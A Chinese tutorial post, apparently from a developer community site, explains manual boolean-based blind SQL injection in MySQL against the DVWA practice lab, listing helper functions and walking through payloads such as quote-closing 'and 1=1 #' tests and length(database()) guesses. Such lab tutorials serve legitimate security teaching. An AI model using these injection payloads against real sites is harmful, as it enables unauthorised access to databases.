MySQL手注之布尔型盲注详解

布尔型盲注简介

基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。 这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。

环境:DVWA

我们输入数字1提交,页面提示:User ID exists in the database.,说明ID1的存在与数据库中!

 我们输入数字10提交,页面显示:User ID is MISSING from the database,说明ID10不在数据库中!

MySQL盲注常用函数
length() 返回字符串的长度,例如可以返回数据库名字的长度 
substr() ⽤来截取字符串 
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句

盲注流程

1、判断是否存在注入,是字符型还是数字型注入

注入点原查询代码:

$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

判断注入:

注入语句:
1' and 1=1 #
带入查询的语句:
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';"; 
注入语句:
1' and 1=2 #
带入查询的语句:
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=2 #';";

1' and 1=1 # 返回正常:

1' and 1=2 # 返回错误:

 说明存在注入,而且是字符型的注入!(如果是数字型的注入,那么就不用去闭合单引号)

2、猜解当前数据库名

猜数据库名长度:

1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 # 
1' and length(database())=4 #

 1' and length(database())=3 # ,页面返回错误:

1' and length(database())=4 #,页面返回正常:

说明当前数据库名长度为4

MySQL手注之布尔型盲注详解-腾讯云开发者社区-腾讯云 

  • 5
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值